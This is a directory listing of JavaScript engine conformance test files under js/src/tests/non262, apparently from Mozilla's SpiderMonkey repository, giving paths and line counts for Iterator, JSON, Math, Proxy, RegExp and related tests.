-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/generator-methods-throw-on-iterator-helpers.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/iterator-helper-methods-throw-on-generators.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/iterator-helpers-from-other-global.js64
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-from-other-global.js31
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-handle-empty-iterators.js40
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-interleaved.js62
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-call-throws.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js45
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js48
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js27
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-return-close-iterator-once.js60
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js62
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-pass-through-lastValue.js29
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-pass-value-through-chain.js33
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-proxy-accesses.js70
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-reentry-not-close-iterator.js43
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-return-closes-iterator.js58
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-return-new-iterator-result.js39
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-closes-iterator-before-next.js50
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js34
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js38
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js34
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-done-throws.js47
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-not-object.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/lazy-methods-throw-on-reentry.js18
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/call-next-on-iterator-while-iterating.js24
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/clobber-symbol.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/interleaved-map-calls.js23
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/map.js28
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/mapper-not-callable-throw.js33
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/mutate-iterator-after-done.js23
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/mutate-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/output-at-generator-end.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/pass-lastValue-to-next.js43
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-iteratorValue.js55
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-yield.js62
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion.js54
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/proxy-accesses.js94
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/reenter-map-generator-from-mapper.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/this-not-iterator-throw.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/this-value-array-throws.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/throw-when-iterator-returns-non-object.js24
-rw-r--r--js/src/tests/non262/Iterator/prototype/map/values-pass-through-chained-maps-to-next.js43
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/accumulator-set-to-initial-value.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/empty-iterator-without-initial-value-throws.js7
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/iterator-empty-return-initial-value.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/iterator-next-return-non-object-throws.js30
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/left-associative.js7
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/reduce.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/reducer-not-callable-throws.js20
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/reducer-throws-iterator-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/this-not-iterator-throws.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/reduce/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/coerce-result-to-boolean.js23
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/fn-not-callable-throws.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/fn-throws-close-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/return-false-if-none-match.js11
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/short-circuit-on-true.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/this-not-iterator-throws.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/some/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-negative.js30
-rw-r--r--js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-non-integer.js32
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/close-iterator-when-none-remaining.js40
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/take-more-than-available.js52
-rw-r--r--js/src/tests/non262/Iterator/prototype/take/take.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/create-in-current-realm.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/iterator-empty.js10
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/next-throws.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/this-not-iterator-throws.js8
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/toArray.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/toArray/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/JSON/browser.js0
-rw-r--r--js/src/tests/non262/JSON/cyclic-stringify-unrelated.js39
-rw-r--r--js/src/tests/non262/JSON/cyclic-stringify.js100
-rw-r--r--js/src/tests/non262/JSON/parse-arguments.js30
-rw-r--r--js/src/tests/non262/JSON/parse-array-gc.js34
-rw-r--r--js/src/tests/non262/JSON/parse-crockford-01.js121
-rw-r--r--js/src/tests/non262/JSON/parse-mega-huge-array.js28
-rw-r--r--js/src/tests/non262/JSON/parse-number-syntax.js32
-rw-r--r--js/src/tests/non262/JSON/parse-octal-syntax-error.js8
-rw-r--r--js/src/tests/non262/JSON/parse-primitives.js62
-rw-r--r--js/src/tests/non262/JSON/parse-reviver-array-delete.js89
-rw-r--r--js/src/tests/non262/JSON/parse-reviver.js45
-rw-r--r--js/src/tests/non262/JSON/parse-syntax-errors-01.js13
-rw-r--r--js/src/tests/non262/JSON/parse-syntax-errors-02.js43
-rw-r--r--js/src/tests/non262/JSON/parse-syntax-errors-03.js55
-rw-r--r--js/src/tests/non262/JSON/parse.js175
-rw-r--r--js/src/tests/non262/JSON/regress-458959.js29
-rw-r--r--js/src/tests/non262/JSON/regress-459293.js25
-rw-r--r--js/src/tests/non262/JSON/shell.js110
-rw-r--r--js/src/tests/non262/JSON/small-codepoints.js16
-rw-r--r--js/src/tests/non262/JSON/stringify-boxed-primitives.js127
-rw-r--r--js/src/tests/non262/JSON/stringify-call-replacer-once.js34
-rw-r--r--js/src/tests/non262/JSON/stringify-call-toJSON-once.js32
-rw-r--r--js/src/tests/non262/JSON/stringify-dropping-elements.js20
-rw-r--r--js/src/tests/non262/JSON/stringify-gap.js61
-rw-r--r--js/src/tests/non262/JSON/stringify-ignore-noncallable-toJSON.js28
-rw-r--r--js/src/tests/non262/JSON/stringify-large-replacer-array.js26
-rw-r--r--js/src/tests/non262/JSON/stringify-missing-arguments.js22
-rw-r--r--js/src/tests/non262/JSON/stringify-nonarray-noncallable-replacer.js41
-rw-r--r--js/src/tests/non262/JSON/stringify-primitives.js39
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-boxed-elements.js60
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-duplicated-element.js69
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-edgecase-jsid-elements.js77
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-hijinks.js59
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-skipped-element.js62
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-array-trailing-holes.js49
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer-with-array-indexes.js56
-rw-r--r--js/src/tests/non262/JSON/stringify-replacer.js155
-rw-r--r--js/src/tests/non262/JSON/stringify-special-escapes.js277
-rw-r--r--js/src/tests/non262/JSON/stringify-toJSON-arguments.js34
-rw-r--r--js/src/tests/non262/JSON/stringify.js87
-rw-r--r--js/src/tests/non262/JSON/trailing-comma.js32
-rw-r--r--js/src/tests/non262/Map/NaN-as-key.js55
-rw-r--r--js/src/tests/non262/Map/browser.js0
-rw-r--r--js/src/tests/non262/Map/constructor-iterator-close.js293
-rw-r--r--js/src/tests/non262/Map/constructor-iterator-primitive.js34
-rw-r--r--js/src/tests/non262/Map/forEach-selfhosted-behavior.js51
-rw-r--r--js/src/tests/non262/Map/getter-name.js10
-rw-r--r--js/src/tests/non262/Map/iterable.js28
-rw-r--r--js/src/tests/non262/Map/iterator-thisv-error.js24
-rw-r--r--js/src/tests/non262/Map/shell.js0
-rw-r--r--js/src/tests/non262/Map/symbols.js33
-rw-r--r--js/src/tests/non262/Math/15.8.1.js97
-rw-r--r--js/src/tests/non262/Math/15.8.2.13.js350
-rw-r--r--js/src/tests/non262/Math/15.8.2.16.js96
-rw-r--r--js/src/tests/non262/Math/15.8.2.17.js181
-rw-r--r--js/src/tests/non262/Math/15.8.2.18.js111
-rw-r--r--js/src/tests/non262/Math/15.8.2.2.js120
-rw-r--r--js/src/tests/non262/Math/15.8.2.3.js122
-rw-r--r--js/src/tests/non262/Math/15.8.2.4.js121
-rw-r--r--js/src/tests/non262/Math/15.8.2.5.js209
-rw-r--r--js/src/tests/non262/Math/15.8.2.7.js247
-rw-r--r--js/src/tests/non262/Math/15.8.2.8.js84
-rw-r--r--js/src/tests/non262/Math/20.2.2.ToNumber.js112
-rw-r--r--js/src/tests/non262/Math/Pow.js117
-rw-r--r--js/src/tests/non262/Math/acosh-approx.js283
-rw-r--r--js/src/tests/non262/Math/acosh-exact.js26
-rw-r--r--js/src/tests/non262/Math/asinh-approx.js303
-rw-r--r--js/src/tests/non262/Math/asinh-exact.js19
-rw-r--r--js/src/tests/non262/Math/atanh-approx.js280
-rw-r--r--js/src/tests/non262/Math/atanh-exact.js35
-rw-r--r--js/src/tests/non262/Math/browser.js0
-rw-r--r--js/src/tests/non262/Math/cbrt-approx.js17
-rw-r--r--js/src/tests/non262/Math/cbrt-exact.js19
-rw-r--r--js/src/tests/non262/Math/clz32.js40
-rw-r--r--js/src/tests/non262/Math/cosh-approx.js276
-rw-r--r--js/src/tests/non262/Math/cosh-exact.js19
-rw-r--r--js/src/tests/non262/Math/exp-exact.js29
-rw-r--r--js/src/tests/non262/Math/expm1-approx.js62
-rw-r--r--js/src/tests/non262/Math/expm1-exact.js20
-rw-r--r--js/src/tests/non262/Math/expm1-monotonicity.js94
-rw-r--r--js/src/tests/non262/Math/fround.js81
-rw-r--r--js/src/tests/non262/Math/log10-approx.js9
-rw-r--r--js/src/tests/non262/Math/log10-exact.js30
-rw-r--r--js/src/tests/non262/Math/log1p-approx.js20
-rw-r--r--js/src/tests/non262/Math/log1p-exact.js29
-rw-r--r--js/src/tests/non262/Math/log2-approx.js8
-rw-r--r--js/src/tests/non262/Math/log2-exact.js30
-rw-r--r--js/src/tests/non262/Math/shell.js74
-rw-r--r--js/src/tests/non262/Math/sign.js34
-rw-r--r--js/src/tests/non262/Math/sinh-approx.js297
-rw-r--r--js/src/tests/non262/Math/sinh-exact.js19
-rw-r--r--js/src/tests/non262/Math/tanh-approx.js282
-rw-r--r--js/src/tests/non262/Math/tanh-exact.js19
-rw-r--r--js/src/tests/non262/Math/trunc.js50
-rw-r--r--js/src/tests/non262/Number/0x-without-following-hexdigits.js30
-rw-r--r--js/src/tests/non262/Number/15.7.3.7-EPSILON.js24
-rw-r--r--js/src/tests/non262/Number/15.7.4.2.js31
-rw-r--r--js/src/tests/non262/Number/20.1.2.10-MIN_SAFE_INTEGER.js26
-rw-r--r--js/src/tests/non262/Number/20.1.2.6-MAX_SAFE_INTEGER.js26
-rw-r--r--js/src/tests/non262/Number/20.1.3.2-toExponential.js47
-rw-r--r--js/src/tests/non262/Number/20.1.3.2-toPrecision.js47
-rw-r--r--js/src/tests/non262/Number/20.1.3.3-toFixed.js17
-rw-r--r--js/src/tests/non262/Number/ToNumber.js26
-rw-r--r--js/src/tests/non262/Number/browser.js0
-rw-r--r--js/src/tests/non262/Number/conversion-invalid-precision.js46
-rw-r--r--js/src/tests/non262/Number/defaultvalue.js170
-rw-r--r--js/src/tests/non262/Number/isSafeInteger-01.js40
-rw-r--r--js/src/tests/non262/Number/numericSeparator.js10
-rw-r--r--js/src/tests/non262/Number/parseFloat-01.js27
-rw-r--r--js/src/tests/non262/Number/parseInt-01.js172
-rw-r--r--js/src/tests/non262/Number/parseInt-default-to-decimal.js30
-rw-r--r--js/src/tests/non262/Number/regress-442242-01.js26
-rw-r--r--js/src/tests/non262/Number/shell.js0
-rw-r--r--js/src/tests/non262/Number/toString-radix-handling.js37
-rw-r--r--js/src/tests/non262/Number/tonumber-string-hex.js38
-rw-r--r--js/src/tests/non262/PrivateName/browser.js0
-rw-r--r--js/src/tests/non262/PrivateName/error-locations.js35
-rw-r--r--js/src/tests/non262/PrivateName/error-outside-class.js13
-rw-r--r--js/src/tests/non262/PrivateName/illegal-delete.js94
-rw-r--r--js/src/tests/non262/PrivateName/illegal-in-class-context.js24
-rw-r--r--js/src/tests/non262/PrivateName/illegal-in-identifier-context.js45
-rw-r--r--js/src/tests/non262/PrivateName/illegal-in-object-context.js14
-rw-r--r--js/src/tests/non262/PrivateName/lexical-presence.js55
-rw-r--r--js/src/tests/non262/PrivateName/modify-non-extensible.js42
-rw-r--r--js/src/tests/non262/PrivateName/names.js31
-rw-r--r--js/src/tests/non262/PrivateName/nested-class-name-used.js33
-rw-r--r--js/src/tests/non262/PrivateName/not-iterable.js39
-rw-r--r--js/src/tests/non262/PrivateName/proxy-1.js21
-rw-r--r--js/src/tests/non262/PrivateName/proxy-ccw.js66
-rw-r--r--js/src/tests/non262/PrivateName/proxy-init-set.js75
-rw-r--r--js/src/tests/non262/PrivateName/read-private-eval.js13
-rw-r--r--js/src/tests/non262/PrivateName/shell.js0
-rw-r--r--js/src/tests/non262/PrivateName/unicode-names.js16
-rw-r--r--js/src/tests/non262/Promise/allSettled.js86
-rw-r--r--js/src/tests/non262/Promise/any-stack-overflow.js14
-rw-r--r--js/src/tests/non262/Promise/any-stack.js69
-rw-r--r--js/src/tests/non262/Promise/any.js76
-rw-r--r--js/src/tests/non262/Promise/browser.js0
-rw-r--r--js/src/tests/non262/Promise/bug-1287334.js7
-rw-r--r--js/src/tests/non262/Promise/bug-1288382.js8
-rw-r--r--js/src/tests/non262/Promise/bug-1289040.js8
-rw-r--r--js/src/tests/non262/Promise/dependent-promises.js36
-rw-r--r--js/src/tests/non262/Promise/enqueue-promise-reactions.js38
-rw-r--r--js/src/tests/non262/Promise/for-of-iterator-uses-getv.js25
-rw-r--r--js/src/tests/non262/Promise/get-wait-for-all-promise.js60
-rw-r--r--js/src/tests/non262/Promise/iterator-close.js234
-rw-r--r--js/src/tests/non262/Promise/iterator-primitive.js28
-rw-r--r--js/src/tests/non262/Promise/methods-non-enumerable.js4
-rw-r--r--js/src/tests/non262/Promise/promise-all.js25
-rw-r--r--js/src/tests/non262/Promise/promise-basics.js96
-rw-r--r--js/src/tests/non262/Promise/promise-rejection-tracking-optimized.js34
-rw-r--r--js/src/tests/non262/Promise/promise-rejection-tracking.js31
-rw-r--r--js/src/tests/non262/Promise/promise-species.js8
-rw-r--r--js/src/tests/non262/Promise/promise-subclassing.js62
-rw-r--r--js/src/tests/non262/Promise/self-resolve.js40
-rw-r--r--js/src/tests/non262/Promise/shell.js0
-rw-r--r--js/src/tests/non262/Proxy/browser.js0
-rw-r--r--js/src/tests/non262/Proxy/define-writable-as-non-writable.js19
-rw-r--r--js/src/tests/non262/Proxy/delete-non-extensible.js18
-rw-r--r--js/src/tests/non262/Proxy/getPrototypeOf.js285
-rw-r--r--js/src/tests/non262/Proxy/global-receiver.js35
-rw-r--r--js/src/tests/non262/Proxy/hasInstance.js13
-rw-r--r--js/src/tests/non262/Proxy/json-stringify-replacer-array-revocable-proxy.js39
-rw-r--r--js/src/tests/non262/Proxy/ownkeys-allowed-types.js20
-rw-r--r--js/src/tests/non262/Proxy/ownkeys-linear.js70
-rw-r--r--js/src/tests/non262/Proxy/ownkeys-trap-duplicates.js33
-rw-r--r--js/src/tests/non262/Proxy/proxy-__proto__.js59
-rw-r--r--js/src/tests/non262/Proxy/proxy-constructNonObject.js18
-rw-r--r--js/src/tests/non262/Proxy/proxy-for-in.js37
-rw-r--r--js/src/tests/non262/Proxy/proxy-no-receiver-overwrite.js23
-rw-r--r--js/src/tests/non262/Proxy/proxy-proto-lazy-props.js61
-rw-r--r--js/src/tests/non262/Proxy/proxy-with-revoked-arguments.js53
-rw-r--r--js/src/tests/non262/Proxy/regress-bug1037770.js7
-rw-r--r--js/src/tests/non262/Proxy/regress-bug1062349.js31
-rw-r--r--js/src/tests/non262/Proxy/regress-bug950407.js7
-rw-r--r--js/src/tests/non262/Proxy/report-writable-as-non-writable.js20
-rw-r--r--js/src/tests/non262/Proxy/revocable-proxy-prototype.js40
-rw-r--r--js/src/tests/non262/Proxy/revoke-as-side-effect.js73
-rw-r--r--js/src/tests/non262/Proxy/revoke-no-name.js2
-rw-r--r--js/src/tests/non262/Proxy/revoked-get-function-realm-typeerror.js119
-rw-r--r--js/src/tests/non262/Proxy/setPrototypeOf.js258
-rw-r--r--js/src/tests/non262/Proxy/shell.js0
-rw-r--r--js/src/tests/non262/Proxy/trap-null.js103
-rw-r--r--js/src/tests/non262/ReadableStream/basic-pull.js37
-rw-r--r--js/src/tests/non262/ReadableStream/basic-push.js53
-rw-r--r--js/src/tests/non262/ReadableStream/bug-1501502.js24
-rw-r--r--js/src/tests/non262/ReadableStream/bug-1549768.js16
-rw-r--r--js/src/tests/non262/ReadableStream/closed-is-handled.js27
-rw-r--r--js/src/tests/non262/ReadableStream/constructor-default.js25
-rw-r--r--js/src/tests/non262/ReadableStream/readable-stream-globals.js367
-rw-r--r--js/src/tests/non262/ReadableStream/shell.js30
-rw-r--r--js/src/tests/non262/ReadableStream/subclassing.js111
-rw-r--r--js/src/tests/non262/ReadableStream/tee-start.js11
-rw-r--r--js/src/tests/non262/Reflect/apply.js130
-rw-r--r--js/src/tests/non262/Reflect/argumentsList.js164
-rw-r--r--js/src/tests/non262/Reflect/browser.js0
-rw-r--r--js/src/tests/non262/Reflect/construct.js107
-rw-r--r--js/src/tests/non262/Reflect/defineProperty.js164
-rw-r--r--js/src/tests/non262/Reflect/deleteProperty.js80
-rw-r--r--js/src/tests/non262/Reflect/get.js72
-rw-r--r--js/src/tests/non262/Reflect/getOwnPropertyDescriptor.js21
-rw-r--r--js/src/tests/non262/Reflect/getPrototypeOf.js17
-rw-r--r--js/src/tests/non262/Reflect/has.js41
-rw-r--r--js/src/tests/non262/Reflect/isExtensible.js57
-rw-r--r--js/src/tests/non262/Reflect/ownKeys.js66
-rw-r--r--js/src/tests/non262/Reflect/preventExtensions.js56
-rw-r--r--js/src/tests/non262/Reflect/propertyKeys.js84
-rw-r--r--js/src/tests/non262/Reflect/set.js280
-rw-r--r--js/src/tests/non262/Reflect/setPrototypeOf.js72
-rw-r--r--js/src/tests/non262/Reflect/shell.js9
-rw-r--r--js/src/tests/non262/Reflect/surfaces.js59
-rw-r--r--js/src/tests/non262/Reflect/target.js44
-rw-r--r--js/src/tests/non262/RegExp/15.10.5-01.js21
-rw-r--r--js/src/tests/non262/RegExp/15.10.6.2-2.js292
-rw-r--r--js/src/tests/non262/RegExp/15.10.7.5-01.js71
-rw-r--r--js/src/tests/non262/RegExp/15.5.4.11.js498
-rw-r--r--js/src/tests/non262/RegExp/7.8.5-01.js35
-rw-r--r--js/src/tests/non262/RegExp/RegExpExec-exec-type-check.js12
-rw-r--r--js/src/tests/non262/RegExp/RegExpExec-exec.js18
-rw-r--r--js/src/tests/non262/RegExp/RegExpExec-return.js31
-rw-r--r--js/src/tests/non262/RegExp/RegExp_dollar_number.js76
-rw-r--r--js/src/tests/non262/RegExp/RegExp_lastMatch.js52
-rw-r--r--js/src/tests/non262/RegExp/RegExp_lastMatch_as_array.js52
-rw-r--r--js/src/tests/non262/RegExp/RegExp_lastParen.js66
-rw-r--r--js/src/tests/non262/RegExp/RegExp_lastParen_as_array.js66
-rw-r--r--js/src/tests/non262/RegExp/RegExp_leftContext.js56
-rw-r--r--js/src/tests/non262/RegExp/RegExp_leftContext_as_array.js56
-rw-r--r--js/src/tests/non262/RegExp/RegExp_object.js54
-rw-r--r--js/src/tests/non262/RegExp/RegExp_rightContext.js56
-rw-r--r--js/src/tests/non262/RegExp/RegExp_rightContext_as_array.js56
-rw-r--r--js/src/tests/non262/RegExp/browser.js0
-rw-r--r--js/src/tests/non262/RegExp/character-class-escape-s.js54
-rw-r--r--js/src/tests/non262/RegExp/character-escape-class-s-mongolian-vowel-separator.js25
-rw-r--r--js/src/tests/non262/RegExp/class-null.js15
-rw-r--r--js/src/tests/non262/RegExp/compile-lastIndex.js82
-rw-r--r--js/src/tests/non262/RegExp/compile-symbol.js14
-rw-r--r--js/src/tests/non262/RegExp/constructor-IsRegExp.js86
-rw-r--r--js/src/tests/non262/RegExp/constructor-constructor.js78
-rw-r--r--js/src/tests/non262/RegExp/constructor-ordering-2.js21
-rw-r--r--js/src/tests/non262/RegExp/constructor-ordering.js16
-rw-r--r--js/src/tests/non262/RegExp/constructor-regexp-unicode.js9
-rw-r--r--js/src/tests/non262/RegExp/constructor-regexp.js61
-rw-r--r--js/src/tests/non262/RegExp/constructor-symbol.js14
-rw-r--r--js/src/tests/non262/RegExp/control_characters.js39
-rw-r--r--js/src/tests/non262/RegExp/cross-compartment-getter.js43
-rw-r--r--js/src/tests/non262/RegExp/descriptor.js25
-rw-r--r--js/src/tests/non262/RegExp/empty-lookahead.js8
-rw-r--r--js/src/tests/non262/RegExp/escape.js70
-rw-r--r--js/src/tests/non262/RegExp/everything.js47
-rw-r--r--js/src/tests/non262/RegExp/exec-002.js186
-rw-r--r--js/src/tests/non262/RegExp/exec-lastIndex-ToInteger.js36
-rw-r--r--js/src/tests/non262/RegExp/exec-lastIndex-negative.js27
-rw-r--r--js/src/tests/non262/RegExp/exec.js240
-rw-r--r--js/src/tests/non262/RegExp/flag-accessors.js49
-rw-r--r--js/src/tests/non262/RegExp/flags-param-handling.js18
-rw-r--r--js/src/tests/non262/RegExp/flags.js26
-rw-r--r--js/src/tests/non262/RegExp/getter-name.js16
-rw-r--r--js/src/tests/non262/RegExp/ignoreCase-multiple.js71
-rw-r--r--js/src/tests/non262/RegExp/ignoreCase-non-latin1-to-latin1.js118
-rw-r--r--js/src/tests/non262/RegExp/instance-property-storage-introspection.js128
-rw-r--r--js/src/tests/non262/RegExp/lastIndex-exec.js80
-rw-r--r--js/src/tests/non262/RegExp/lastIndex-match-or-replace.js122
-rw-r--r--js/src/tests/non262/RegExp/lastIndex-nonwritable.js27
-rw-r--r--js/src/tests/non262/RegExp/lastIndex-search.js118
-rw-r--r--js/src/tests/non262/RegExp/match-local-tolength-recompilation.js75
-rw-r--r--js/src/tests/non262/RegExp/match-this.js12
-rw-r--r--js/src/tests/non262/RegExp/match-trace.js147
-rw-r--r--js/src/tests/non262/RegExp/match.js36
-rw-r--r--js/src/tests/non262/RegExp/multiline-001.js67
-rw-r--r--js/src/tests/non262/RegExp/octal-001.js77
-rw-r--r--js/src/tests/non262/RegExp/octal-002.js92
-rw-r--r--js/src/tests/non262/RegExp/octal-003.js86
-rw-r--r--js/src/tests/non262/RegExp/oom-in-construction.js17
-rw-r--r--js/src/tests/non262/RegExp/perlstress-001.js3194
-rw-r--r--js/src/tests/non262/RegExp/perlstress-002.js1806
-rw-r--r--js/src/tests/non262/RegExp/properties-001.js87
-rw-r--r--js/src/tests/non262/RegExp/properties-002.js128
-rw-r--r--js/src/tests/non262/RegExp/prototype-different-global.js28
-rw-r--r--js/src/tests/non262/RegExp/prototype.js37
-rw-r--r--js/src/tests/non262/RegExp/regexp-enumerate-001.js79
-rw-r--r--js/src/tests/non262/RegExp/regexp-space-character-class.js27
-rw-r--r--js/src/tests/non262/RegExp/regress-001.js44
-rw-r--r--js/src/tests/non262/RegExp/regress-100199.js271
-rw-r--r--js/src/tests/non262/RegExp/regress-105972.js121
-rw-r--r--js/src/tests/non262/RegExp/regress-119909.js55
-rw-r--r--js/src/tests/non262/RegExp/regress-122076.js76
-rw-r--r--js/src/tests/non262/RegExp/regress-123437.js76
-rw-r--r--js/src/tests/non262/RegExp/regress-165353.js86
-rw-r--r--js/src/tests/non262/RegExp/regress-169497.js69
-rw-r--r--js/src/tests/non262/RegExp/regress-169534.js58
-rw-r--r--js/src/tests/non262/RegExp/regress-187133.js106
-rw-r--r--js/src/tests/non262/RegExp/regress-188206.js182
-rw-r--r--js/src/tests/non262/RegExp/regress-191479.js162
-rw-r--r--js/src/tests/non262/RegExp/regress-202564.js65
-rw-r--r--js/src/tests/non262/RegExp/regress-209067.js1069
-rw-r--r--js/src/tests/non262/RegExp/regress-209919.js138
-rw-r--r--js/src/tests/non262/RegExp/regress-216591.js81
-rw-r--r--js/src/tests/non262/RegExp/regress-220367-001.js68
-rw-r--r--js/src/tests/non262/RegExp/regress-223273.js242
-rw-r--r--js/src/tests/non262/RegExp/regress-223535.js97
-rw-r--r--js/src/tests/non262/RegExp/regress-224676.js190
-rw-r--r--js/src/tests/non262/RegExp/regress-225289.js140
-rw-r--r--js/src/tests/non262/RegExp/regress-225343.js89
-rw-r--r--js/src/tests/non262/RegExp/regress-24712.js19
-rw-r--r--js/src/tests/non262/RegExp/regress-285219.js18
-rw-r--r--js/src/tests/non262/RegExp/regress-28686.js17
-rw-r--r--js/src/tests/non262/RegExp/regress-305064.js54
-rw-r--r--js/src/tests/non262/RegExp/regress-307456.js22
-rw-r--r--js/src/tests/non262/RegExp/regress-309840.js24
-rw-r--r--js/src/tests/non262/RegExp/regress-312351.js17
-rw-r--r--js/src/tests/non262/RegExp/regress-31316.js60
-rw-r--r--js/src/tests/non262/RegExp/regress-330684.js21
-rw-r--r--js/src/tests/non262/RegExp/regress-334158.js25
-rw-r--r--js/src/tests/non262/RegExp/regress-346090.js26
-rw-r--r--js/src/tests/non262/RegExp/regress-367888.js26
-rw-r--r--js/src/tests/non262/RegExp/regress-375642.js25
-rw-r--r--js/src/tests/non262/RegExp/regress-375651.js26
-rw-r--r--js/src/tests/non262/RegExp/regress-375711.js82
-rw-r--r--js/src/tests/non262/RegExp/regress-375715-01-n.js27
